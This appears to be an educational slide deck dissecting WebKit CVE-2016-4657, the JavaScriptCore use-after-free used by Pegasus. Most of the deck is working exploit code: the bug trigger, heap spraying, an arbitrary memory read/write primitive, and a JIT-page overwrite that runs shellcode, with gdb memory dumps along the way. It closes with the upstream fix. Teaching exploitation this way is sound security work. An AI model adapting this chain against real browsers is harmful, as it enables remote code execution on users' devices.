Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

For the best experience please use the latest Chrome, Safari or Firefox browser.

Pegasus

WebKit JS engine exploit

Pegasus spyware

Attack vector on iOS

WebKit engine concepts

JS/CPP/Binary representations

JSValue representation

JSObject representation

Garbage collector

MarkedArgumentBuffer

MarkedSet

Source/JavaScriptCore/runtime/ArgList.h
class MarkedArgumentBuffer {
    // ..
    void append(JSValue v)
    {
        if (m_size >= m_capacity)
            return slowAppend(v);

        slotFor(m_size) = JSValue::encode(v);
        ++m_size;
    }
    // ...
};

WebKit CVE-2016-4657

Source/JavaScriptCore/runtime/ArgList.cpp
void MarkedArgumentBuffer::slowAppend(JSValue v)
{
    int newCapacity = (Checked(m_capacity) * 2).unsafeGet();
    size_t size = (Checked(newCapacity)*sizeof(EncodedJSValue)).unsafeGet();
    EncodedJSValue* newBuffer = static_cast(fastMalloc(size));
    for (int i = 0; i < m_capacity; ++i)
        newBuffer[i] = m_buffer[i];

    if (EncodedJSValue* base = mallocBase())
        fastFree(base);

    m_buffer = newBuffer;
    m_capacity = newCapacity;

    slotFor(m_size) = JSValue::encode(v);
    ++m_size;

    if (m_markSet)
        return;

    // As long as our size stays within our Vector's inline 
    // capacity, all our values are allocated on the stack, and 
    // therefore don't need explicit marking. Once our size exceeds
    // our Vector's inline capacity, though, our values move to the 
    // heap, where they do need explicit marking.
    for (int i = 0; i < m_size; ++i) {
        Heap* heap = Heap::heap(JSValue::decode(slotFor(i)));
        if (!heap)
            continue;

        m_markSet = &heap->markListSet();
        m_markSet->add(this);
        break;
    }
Source/JavaScriptCore/heap/HeapInlines.h
inline Heap* Heap::heap(const JSValue v)
{
    if (!v.isCell())
        return 0;
    return heap(v.asCell());
}
Source/JavaScriptCore/runtime/JSCJSValueInlines.h
inline bool JSValue::isCell() const
{
    return !(u.asInt64 & TagMask);
}
If all copied values are immediate values (no heap context)
then marked set is never assigned while size expands twice.
Since the capacity was doubled we will also not add the buffer to
marked set for additional parameters until we again reach max capacity

Object.defineProperties(obj, props)

Source/JavaScriptCore/runtime/ObjectConstructor.cpp

How to trigger the bug?

Garbage collector tool

// GC tools
const pressure = new Array(100);
function forceGC() {
  for (var i = 0; i < pressure.length; i++) {
    pressure[i] = new Uint32Array(0x10000);
  }

  for (var i = 0; i < pressure.length; i++) {
    pressure[i] = 0;
  }
}
function go_() {
  forceGC()

  // trigger
}

forceGC();
setTimeout(go_, 200);

The trigger function

function go_() {
  forceGC();

  // trigger
  let arr = new Array(0x100);
  arr[0] = 1;
  arr[1] = 2;
  let not_number = {};
  not_number.toString = function() {
   arr = null;
   props["stale"]["value"] = null;
   forceGC();
   return 10;
  };
  let props = {
   p0: { value: 0 }, p1: { value: 1 }, p2: { value: 2 },
   p3: { value: 3 }, p4: { value: 4 }, p5: { value: 5 },
   p6: { value: 6 }, p7: { value: 7 }, p8: { value: 8 },
   length: { value: not_number },
   stale: { value: arr },
   after: { value: 777 }
  };
  let target = [];
  Object.defineProperties(target, props);
}
Define the vulnerable object props and call defineProperties
The 9th value (p8) expands capacity (8) and triggers slowAppend.
All 9 values are primitive types (no heap context)
marked set is never assigned while size expands twice.
Remaining values are still added to marked buffer, but 
marked set is never assigned because ...
... capacity is 16 and slowAppend is no longer run.
Now we have to trigger GC.
Utilize special logic for length property in JSArray implementation.
Source/JavaScriptCore/runtime/JSArray.cpp
Source/JavaScriptCore/runtime/JSObject.cpp
Source/JavaScriptCore/runtime/JSObject.h
Source/JavaScriptCore/runtime/JSObject.cpp
This means we can inject JS code in the middle of defineProperties.
Custom toString method can force GC using our GC tool.
Before calling GC we need to remove remaining references to arr
so that GC does not mark it and deletes it from heap.
And that is the trigger! Our arr should become stale now. 
But the target has a new property called stale pointing to arr.
Writing to target.stale will be actually writing over deallocated memory

How to exploit the bug?

let bufs = new Array(10000);
function gc_and_heap_spray() {
  if (bufs[0]) return;
  for (var i = 0; i < 4; i++) {
    forceGC();
  }
  for (i = 0; i < bufs.length; i++) {
   bufs[i] = new Uint32Array(0x100 * 2)
   for (k = 0; k < bufs[i].length;) {
    bufs[i][k++] = 0x41414141;
    bufs[i][k++] = 0xffff0000;
   }
  }
}
  let stale = target.stale;
  stale[0] += 0x101;

  for (i = 0; i < bufs.length; i++) {
    for (k = 0; k < bufs[0].length; k++) {
      if (bufs[i][k] == 0x41414242) {
        // GOT IT
      }
    }
  }

What's next?

  const obj = {a:1, b:2, c:3, d:4};

  for (i = 0; i < bufs.length; i++) {
    for (k = 0; k < bufs[0].length; k++) {
      if (bufs[i][k] == 0x41414242) {
        // GOT IT
        stale[0] = obj;
        alert(bufs[i][k+1].toString(16) + bufs[i][k+0].toString(16));
      }
    }
  }
const obj = {a:1, b:2, c:3, d:4};
(gdb) x/6xg 0x7f6d6f9d3f10
0x7f6d6f9d3f10:  0x0100160000000051  0x0000000000000000
0x7f6d6f9d3f20:  0xffff000000000001  0xffff000000000002
0x7f6d6f9d3f30:  0xffff000000000003  0xffff000000000004
const u32arr = new Uint32Array(0x10);
u32arr[0] = 0x11223344;
u32arr[1] = 0x55667788;
u32arr[2] = 0x99aabbcc;
u32arr[3] = 0xddeeff00;
(gdb) x/4xg 0x7fee27ba9080
0x7fee27ba9080:  0x0118260000000170  0x0000000000000000
0x7fee27ba9090:  0x00007fedf98b7160  0x0000000000000010
(gdb) x/4xg 0x00007fedf98b7160
0x7fedf98b7160:  0x5566778811223344  0xddeeff0099aabbcc
0x7fedf98b7170:  0x0000000000000000  0x0000000000000000
(gdb) x/6xg 0x7f048759f4c0
0x7f048759f4c0: 0x01001600000000c8  0x0000000000000000
0x7f048759f4d0: 0x0001000000000170  0x0001000000000000
0x7f048759f4e0: 0x00007f04635b6660  0x0001000000000100
     stale[0] = obj;
     bufs[i][k] += 0x10;
     stale[0] = obj;
     bufs[i][k] += 0x10;
     stale[0][6] = 0xffffffff;
     if (smsh.length == 0xffffffff) {
        // Got a very large smash array
        const mem = new memory(stale[0], smsh);
     }
// Uint32Array memory layout
const ADDR_LOW = 4;
const ADDR_HIGH = 5;
const LEN = 6;

// memory read/write primitive
class memory {
  constructor(stale_arr, smash_arr) {
    this.stale = stale_arr;
    this.smash = smash_arr
    this.oldlo = this.stale[ADDR_LOW];
    this.oldhi = this.stale[ADDR_HIGH];
  }
  read4(low, hi) {
    this.stale[ADDR_LOW] = low;
    this.stale[ADDR_HIGH] = hi;
    let ret = this.smash[0];
    this.stale[ADDR_LOW] = this.oldlo;
    this.stale[ADDR_HIGH] = this.oldhi;
    return ret;
  }

  read8(low, hi) {
    return [this.read4(low, hi), this.read4(low+4, hi)];
  }

  write4(low, hi, val) {
    this.stale[ADDR_LOW] = low;
    this.stale[ADDR_HIGH] = hi;
    this.smash[0] = val;
    this.stale[ADDR_LOW] = this.oldlo;
    this.stale[ADDR_HIGH] = this.oldhi;
  }
}

Data execution protection

#include <stdio.h>
 
int main(int argc, char *argv[]) {
  unsigned char code[] = {
    0x48, 0x83, 0xec, 0x04,                   // sub    $0x4,%rsp
    0x48, 0x31, 0xc0,                         // xor    %rax,%rax
    0x48, 0x31, 0xff,                         // xor    %rdi,%rdi
    0x48, 0x31, 0xd2,                         // xor    %rdx,%rdx
    0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl   $0x000a6948,(%rsp)
                                              // [0x000a6948 == "Hi\n\0"]
    0x66, 0xbf, 0x01, 0x00,                   // mov    $0x1,%di
    0x48, 0x8d, 0x34, 0x24,                   // lea    (%rsp),%rsi
    0x66, 0xba, 0x04, 0x00,                   // mov    $0x4,%dx
    0x66, 0xb8, 0x01, 0x00,                   // mov    $0x1,%ax
    0x0f, 0x05,                               // syscall
    0x48, 0x83, 0xc4, 0x04,                   // add    $0x4,%rsp
    0xc3                                      // retq
  };

  ( (void (*)()) &code[0])();

  return 0;
}
Segment RW X
Stack Yes Yes/No
Heap Yes No
Data Yes No
BSS Yes No
Code No Yes

Data execution protection

// JIT compiled function
let trycatch = "";
for (let z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
let fc = new Function(trycatch);
for (let z = 0; z < 0x1000; z++) fc();  // JIT compile it
const fcp = fc;
(gdb) x/8xg 0x7f5d8898abc0 
0x7f5d8898abc0:  0x000a180000000144  0x0000000000000000 
0x7f5d8898abd0:  0x00007f5d889e2900  0x00007f5d88987260 
0x7f5d8898abe0:  0x0000000000000000  0x0000000000000000 
0x7f5d8898abf0:  0x0100160000000252  0x0000000000000000 
(gdb) x/8xg 0x00007f5d88987260 
0x7f5d88987260:  0x00200e0000000010  0xffffffff00000001 
0x7f5d88987270:  0x00007f5de6567000  0x0000000000000000 
0x7f5d88987280:  0x0000000000000000  0x0000000000000000 
0x7f5d88987290:  0xffffffff00000000  0x0000000200000001 
(gdb) x/8xg 0x00007f5de6567000 
0x7f5de6567000:  0x00007f5df96f9930  0x00015f0400000002 
0x7f5de6567010:  0x00007f5dcbe48680  0x00007f5d7240b940 
0x7f5de6567020:  0x00007f5dcbe48741  0x0000000000000000 
0x7f5de6567030:  0x00007f5de6538190  0x0000000500000005 
(gdb) x/2i 0x00007f5dcbe48680 
   0x7f5dcbe48680:   push   %rbp 
   0x7f5dcbe48681:   mov    %rsp,%rbp
    if (smsh.length == 0xffffffff) {
        const mem = new memory(stale[0], smsh);

        // leak function ptr
        stale[1] = fc;
        const [lo0, hi0] = [bufs[i][k+2], bufs[i][k+3]];
        const [lo1, hi1] = mem.read8(lo0+0x18, hi0);
        const [lo2, hi2] = mem.read8(lo1+0x10, hi1);
        const [lo3, hi3] = mem.read8(lo2+0x10, hi2);

        run_payload(mem, lo3, hi3);
     }
	57                   	push   %rdi
	56                   	push   %rsi
	52                   	push   %rdx
	50                   	push   %rax
	6a 00                	pushq  $0x0
	48 b8 48 69 20 74 68 	movabs 'Hi there',%rax
	65 72 65 
	50                   	push   %rax
	bf 01 00 00 00       	mov    $0x1,%edi ; stdout
	48 89 e6             	mov    %rsp,%rsi ; &'Hi there'
	ba 08 00 00 00       	mov    $0x8,%edx ; length
	b8 01 00 00 00       	mov    $0x1,%eax ; syscall write
	0f 05                	syscall 
	58                   	pop    %rax
	58                   	pop    %rax
	58                   	pop    %rax
	5a                   	pop    %rdx
	5e                   	pop    %rsi
	5f                   	pop    %rdi
	c3                   	retq  
function run_payload(mem, jitfp, hi) {
  let code = [
    0x50525657,
    0xb848006a,
    0x74206948,
    0x65726568,
    0x0001bf50,
    0x89480000,
    0x0009bae6,
    0x01b80000,
    0x0f000000,
    0x58585805,
    0xc35f5e5a
  ];
  for (let c of code) {
    mem.write4(jitfp, hi, c); 
    jitfp+=4;
  }
  fc();
  location.href = 'https://google.pl';
}
[maciek@pc ~]$ epiphany hack.html
Hi there

... and this is just the first step

Fixed a potential bug in MarkedArgumentBuffer

void MarkedArgumentBuffer::addMarkSet(JSValue v) {
    if (m_markSet) return;

    Heap* heap = Heap::heap(v);
    if (!heap)
        return;

    m_markSet = &heap->markListSet();
    m_markSet->add(this);
}

void MarkedArgumentBuffer::slowAppend(JSValue v) {
    if (m_size >= m_capacity) expandCapacity();

    slotFor(m_size) = JSValue::encode(v);
    ++m_size;

    addMarkSet(v);
}

References

Thank you

Use a spacebar or arrow keys to navigate